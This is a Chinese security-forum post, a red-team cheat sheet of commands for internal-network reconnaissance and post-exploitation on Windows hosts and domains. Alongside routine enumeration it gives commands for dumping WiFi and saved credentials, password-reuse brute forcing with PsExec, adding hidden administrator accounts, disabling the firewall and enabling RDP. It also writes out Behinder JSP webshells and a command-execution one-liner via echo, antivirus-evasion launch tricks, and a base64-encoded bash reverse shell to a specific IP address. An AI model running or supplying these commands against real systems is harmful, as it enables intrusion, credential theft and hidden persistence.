【僵尸申请复活】【已通过】告别内网打一半,百度找命令 - 内网信息收集大全

2022-07-19 17:43:57 21 1767 1

目录

Windows主机信息收集

系统内信息

用户、组

查看当前用户、权限

// CMD方式可直接查看
whoami       // 查看当前用户
whoami /all     // 查看当前域并获取域SID
qwinsta        // 获取当前连接会话
quser      // 与qwinsta用法大概相同,查看使用帮助

// 通过Win+R运行 lusrmgr.msc
lusrmgr.msc                     // GUI方式查看系统内用户,可查看隐藏用户

// 调用Powershell内函数输出,需使用PowerShell
Get-WmiObject -Class Win32_UserAccount      // PowerShell 查看系统内用户

// 输出用户+SID 
wmic useraccount get name,sid          // 输出当前系统内所有用户+SID

查看本地用户列表

net user                                // 查看本地用户
net localgroup administrators           // 查看本地管理员组(通常包含域用户)net user xxx   // 查看指定用户详细信息

操作系统

磁盘类

查看系统盘符
wmic logicaldisk where DriveType=3 get DeviceID
查看权限类
cacls c:\             //查看c盘的权限配额
cacls c:\windows\ma.exe     //查看ma.exe的权限配置
icacls C:\Windows      //查看文件的ACL情况

操作系统信息类

操作系统信息
systeminfo

执行以下命令直接查看操作系统及版本

// 查找字符串方式
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"          // 中文操作系统

// 直接输出指定字段方式
wmic OS get Caption,CSDVersion,OSArchitecture,Version
查看补丁列表
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn

注意:域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以批量找到内网未打补丁的漏洞。

查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
安转的软件及版本
wmic product get name,version
查看本机进程
tasklist
wmic process
tasklist /m shell32.dll // 查看调用了shell32.dll的进程
查看本机服务
wmic service list brief
查看所有软件的信息PowerShell
Get-WmiObject -class win32_product |Select-Object -Property name,version
查看主机开机时间
net statistics workstation
查看本机共享
net share
wmic share get name,path,status
查看其他主机的BIOS名称
nbtstat -A 127.0.0.1
查看计划任务
schtasks /query /fo LIST /v             // query显示所有计划任务
查看自启程序列表
wmic startup get command,caption
环境变量
wmic environment get Description , VariableValue
查看用户所属的家目录路径
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Desktop" /s
查看IE浏览器浏览记录
reg query "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs" /s

操作记录类

查看保存的凭证(密码)
cmdkey /l
查看application日志
Get-WinEvent -FilterHashtable @{logname="Application";}
查看DCOM文件
Get-CimInstance Win32_DCOMApplication
命令执行记录

powershell命令历史记录,如果命令用不起,可以查看powershell的txt

Get-Content (Get-PSReadlineOption).HistorySavePath 

注册表记录

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

type %appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
远程桌面信息

(适用于Windows 10)

// PowerShell
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name

// CMD 查看连接过的IP
reg query  "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"

// CMD 查看连接过的IP的所有信息(包括Hash)
reg query  "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

WIFI记录

查看WIFI记录
netsh wlan show profile
获取连接过的WIFI密码

使用上一步的获取到的WIFI名称,替换WiFi-name

netsh wlan show profile WiFi-name key=clear
获取所有WIFI密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do  @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

VNC记录

HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver      RealVNC
HKEY_CURRENT_USER\Software\TightVNC\Server  Value     TightVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4          TigerVNC
HKCU\Software\Martin  Prikryl\WinSCP 2\Sessions        WinSCP

查找杀软

// 查找杀软(通过命令)
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

// 输出所有的进程,通过杀软比对器查找
tasklist /svc

// 输出所有的进程,通过杀软比对器查找
powershell get-process

Findstr(正常)骚操作

查找当前目录的子目录的所有含有pass的文件夹

findstr  /s /m "pass" *.*

查找c盘的a.txt

dir c:\a.txt  /s /b

For命令的骚操作

C段存活主机查找

for /l %i in (1,1,255) do @ping 10.0.1.%i -w 1 -n 1 | find /i "ttl"

C段存活主机查找+主机名

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"

B段存活主机查找

在一个内网里面有时候不一定只有一个域,而当两个域没有信任时,可以用这条扫出来

for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

for /l %i in (1,1,255) do @ping -a 10.0.%i.254 -w 1 -n 1 | find /i "Pinging"

net view 存活主机查找

把net view的结果,挨个ping一遍,并输出机器名和ip地址。

FOR /F "eol=- tokens=1 delims= " %a IN ('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | find /i "ttl" & echo.)

内网密码爆破

当前环境 : 知道网内多个主机的默认密码(管理员),每台主机会有不同用户登录进来,现在想读取登录到主机其他用户的密码,但主机太多不想一个一个登录进去读密码的解决办法:

// 生成ip文件
(按网段生成ip列表,现在的环境254为网关,所以地址到253止)
for /l %i in (1,1,253) do echo 192.168.60.%i >>ip.txt
// 判断ip存活,并保存到ok.txt
(判断存活主机,同网段内一般是不禁ping的)
for /f %i in (ip.txt) do ping -n 1 -w 10 %i | find /i "ttl" >nul && echo %i >>ok.txt 
// 尝试对存活主机进行密码复用爆破
for /f %i in (ok.txt) do PsExec64.exe -accepteula \\%i -u "administrator" -p "123456" /s cmd.exe  /c "ipconfig" >> 1.txt

结果会将被爆破出来密码的主机的ipconfig存储到1.txt文件中

多线程版B段扫描(慎用)

效果嘎嘎nb,请在文件夹中使用

全部执行完毕后,可以使用 cat * 查看

for /l %a in (0,1,2) do cmd /c "choice /t 7 /d y /n >nul" & for /l %b in (1,1,255) do  start cmd /c  "ping 192.168.%a.%b -l 1 -n 1 -i 1 >192.168.%a.%b.txt"

获取所有WIFI密码

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do  @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

查找本机所有有关密码的字段

// 注册表内password字段
reg query HKCU /f password /t REG_SZ /s
reg query HKCU /f 密码 /t REG_SZ /s

// 请发挥想象C:、D:、E:、F:等等等等

dir c:\*pass*  /s /b
dir c:\*password*  /s /b
dir c:\*密码*  /s /b

远程桌面相关

开启远程桌面连接

方法1:
// wmic 开启
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
// wmic 关闭
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
// 设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

方法2:
// 修改注册表方式 开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
// 关闭
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 1 /f

// 防火墙加白,Windows防火墙启用远程桌面,开放远程桌面端口
netsh advfirewall firewall set rule group=“remote desktop” new enable=Yes
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

查询3389端口

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

用户操作类

添加

### 查看用户

net user 用户

#### 添加用户

net user 用户 密码 /add

#### 添加用户到administrators组

net localgroup administrators 用户 /add

删除

#### 删除用户

net user 用户 /del

#### 从administrators组删除用户

net localgroup administrators 用户 /del

账户启用

#### 启用账户

net user  账户 /active:yes

#### 停用账户

net user 账户 /active:no

隐藏账户

#### 添加隐藏用户

net user 用户$ 密码 /add

#### 删除隐藏用户

net user 用户$ /del

踢出用户

// 拿到用户的ID
query user
// 使用用户ID,高权限,即可踢出用户
logoff ID

切换域控用户

system权限直接切换,不需要输入密码

// 拿到用户的ID
query user
// 使用用户ID,高权限,即可桌面切换用户
tscon ID

查看防火墙相关信息

防火墙相关操作

//老版本
netsh firewall show state                      // 防火墙状态
netsh firewall show config                     // 查看防火墙配置
netsh firewall set opmode disable              // 关闭防火墙(windows server 2003及以前)

//新版本
netsh advfirewall show allprofiles          // 防火墙状态
netsh advfirewall export "c:\firewall.pol"     // 备份防火墙
netsh advfirewall set allprofiles state off    // 关闭防火墙(windows server 2003以后)
netsh advfirewall set allprofiles state on     // 开启防火墙(windows server 2003以后)

修改防火墙配置

// 允许指定程序的全部连接(windows server 2003及以前)
netsh firewall add allowedprogram c:\\xxx\\xx.exe "allow xx" enable

// windows server 2003之后: 

//允许某个程序连入 tcpudp
netsh advfirewall firewall add rule name="all xx" dir=in action=allow  program="C:\xxx\xx.exe"

//不允许某个程序外联 tcpudp
netsh advfirewall firewall delete rule name="all xx" program="C:\xxx\xx.exe"

// 防火墙开启3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

// 防火墙开启3389端口,并指定连接IP
netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport="3389" remoteip="aip,bip,cip"

网络连接类

查看网络配置情况

ipconfig /all              // 查询本机IP段,所在域等
route print                // 打印路由信息
arp -a                     // 查看arp缓存,可以发现内网主机

列出本地计算机与所连接的客户端主机之间的会话

net session

删除本地计算机与所连接的客户端主机之间的会话

net session /delete /y

net use的发起方删除连接

net use * /del /y

查看端口信息

netstat -ano                    //查询全部端口
netstat -ano |findstr 80           //查询指定端口

Windows失陷前期命令

PowerShell

PowerShell执行策略

#更新执行策略
Set-ExecutionPolicy <policy-name>

#policy-name可能的值
Unrestricted、RemoteSigned、AllSigned、Restricted、Default、Bypass、Undefined

#将ExecutionPolicy改为Unrestricted,可以运行未签名的脚本
Set-ExecutionPolicy Unrestricted

#查询详细策略
get-help about_Execution_Policise

查看当前运行脚本策略
Get-ExecutionPolicy

指定当前的运行级别为ByPass,然后就可以运行脚本,这个指定的运行级别是本次执行的运行级别,不会改变默认

更改当前命令行ps1脚本执行策略

(声明本地执行策略,以可执行脚本的权限运行)
绕过本地不能执行脚本策略
##原值
PowerShell.exe test.ps1    #提示没有权限运行
##添加绕过参数
PowerShell.exe -ExecutionPolicy Bypass test.ps1    #无提示直接运行

PowerShell Base64 编码脚本

$fileContent = "ipconfig"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
powershell /enc $encodedCommand

CMD命令写入马子(转义符号)

冰蝎jsp

命令

Ctrl+H替换路径,然后依次执行命令即可。 写入之前建议在本地环境先进行写入测试。

连接密码:rebeyond

路径:..\1.jsp

echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^> > ..\1.jsp
echo ^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^> >> ..\1.jsp
echo ^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES"); >> ..\1.jsp
echo c.init(2,new SecretKeySpec(k.getBytes(),"AES")); >> ..\1.jsp
echo new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> >> ..\1.jsp

测试写入

查看是否可以成功解析

cmd /c echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^> > ..\1.jsp

冰蝎jspx

echo ^<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"^> > 1.jspx

echo ^<jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/^> >> 1.jspx

echo ^<jsp:declaration^> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}^</jsp:declaration^> >> 1.jspx

echo ^<jsp:scriptlet^>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);^</jsp:scriptlet^> >> 1.jspx

echo ^</jsp:root^> >> 1.jspx

一句话小马

echo ^<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %^> > ..\1.jsp

Weblogic服务相关信息

Weblogic控制台账号密码

/app/weblogic/Oracle/Middleware/user_projects/domains/app_domain/servers/Server1/security/boot.properties

Weblogic加密文件存放地址

/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

Weblogic数据库账号密码

/root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/

weblogic虚拟路径配置文件(Web项目路径)

cat /weblogic/user_projects/domains/card_domain/config/config.xml

Kill进程

cmd下命令杀进程的几个方法

1、用taskill命令
taskkill /f /im 进程名称
示例:用taskkill /f /im VStart.exe命令关闭音速启动,VStart.exe就是音速启动的进程名称

taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
注:有两种方法查进程的PID码:
在命令行下用 tasklist 命令查出进程的PID号码,就是这些
在任务管理器中的查看选项中选择选择列中勾先PID那一项
示例:举个关闭迅雷的例子,先找出迅雷的PID码2552
taskkill /pid 2552 -f,就是这个指令

2、用 wmic process Where name="进程名称" call terminate 这个不需要知道进程的PID号
示例:
wmic process Where name="iexplore.exe" call terminate 关闭IE浏览器,

3、ntsd -c q -p [pid进程码]
示例:还是举个关闭迅雷的吧,同样先找出迅雷的PID码2724
ntsd -c q -p 2724 是这条指令!

taskkill /f /im 进程名称
taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
wmic process Where name="进程名称"
ntsd -c q -p 2724

获取出网IP

curl ident.me

命令执行一些其他方式

// 都为远古版,命令执行不成功时,可借鉴以下方式,不全
cmd /c C:\ProgramData\msf.exe //有一定几率能够绕过360
cmd /c start C:\ProgramData\msf.exe //有一定几率能够绕过360
Dxcap -c C:\ProgramData\msf.exe //有一定几率能够绕过360
cmd /c Dxcap -c C:\Windows\System32\cmd.exe //Dxcap被拦时可试试这个

Linux Base64编码执行命令

适用于某些命令执行情况下

bash -c "{echo,base64编码数据}|{base64,-d}|{bash,-i}"

例如
ping log.v4xtb8.ceye.io -c 1
cGluZyBsb2cudjR4dGI4LmNleWUuaW8gLWMgMQ==
bash -c "{echo,cGluZyBsb2cudjR4dGI4LmNleWUuaW8gLWMgMQ==}|{base64,-d}|{bash,-i}"

bash -i >& /dev/tcp/110.42.206.16/9999 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDIuMjA2LjE2Lzk5OTkgMD4mMQ==
bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDIuMjA2LjE2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

调出桌面图标设置

rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0

DNS缓存设置

刷新DNS缓存
ipconfig /flushdns

查看DNS缓存
ipconfig /displaydns

445端口爆破用户密码

445端口爆破原理

取消建立的连接
net use * /del /y

空会话
向192.168.178.135的445端口发起连接,需要账号密码
net use \\192.168.178.135

远程本地认证
向192.168.178.135的445端口发起连接,需要账号密码
net use \\192.168.178.135 /user:workgroup\administrator 1218Th..

nmap扫描445

nmap --script=smb-vuln-ms17-010 IP

文件流

echo 123 > axgg::$INDEX_ALLOCATION                                       //文件流创建文件
rd axgg::$INDEX_ALLOCATION                                                //删除改文件

Windows域控信息收集

域内信息收集

判断是否存在域

“工作站DNS名称”为域名(若为WORKGROUP,则表示当前不是域环境),登录域为当前登陆的域。

net config workstation     // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain              // 查看域
net user /do          //获取域用户列表

“域”即域名,如果为WORKGROUP则表示当前不是域环境,机器不在于内。

systeminfo

查看主控制器

net time /domain           // 主域服务器会同时作为时间服务器
net group "domain controllers" /domain          // 查看域控制器组
nltest /DCLIST:god          // 查看域控制器主机名,god为域名

定位域控制器

我们已经知道了与控制器的名称,接下来就要定位域控制器的ip地址了。

ping owa.god.org          // owa为域控制器名

列出域信任关系

nltest /domain_trusts      列出域与域之间的信任关系

查看域内用户组列表

net group /domain

Domain Admins 域管理员组

Domain Computers 域内的机器

Domain Controllers 域控制器

Domain Users 域用户

Enterprise Admins 企业系统管理员组

查看所有的域成员主机(机器用户;不包括域控):

net group "domain computers" /domain

查看域管理员组:

net group "domain admins" /domain

如上操作可以得到域管理员用户有administrator和owa$。

net group "Enterprise Admin" /domain

获取域密码信息

net accounts /domain

查看域用户信息

net user /domain        // 查看域用户
net user xxx /domain   // 查看指定域用户详细信息

获取域内用户详细信息

wmic useraccount get /all

PDF文件

关于作者

sss111篇文章篇回复

评论21次

要评论?请先  登录  或  注册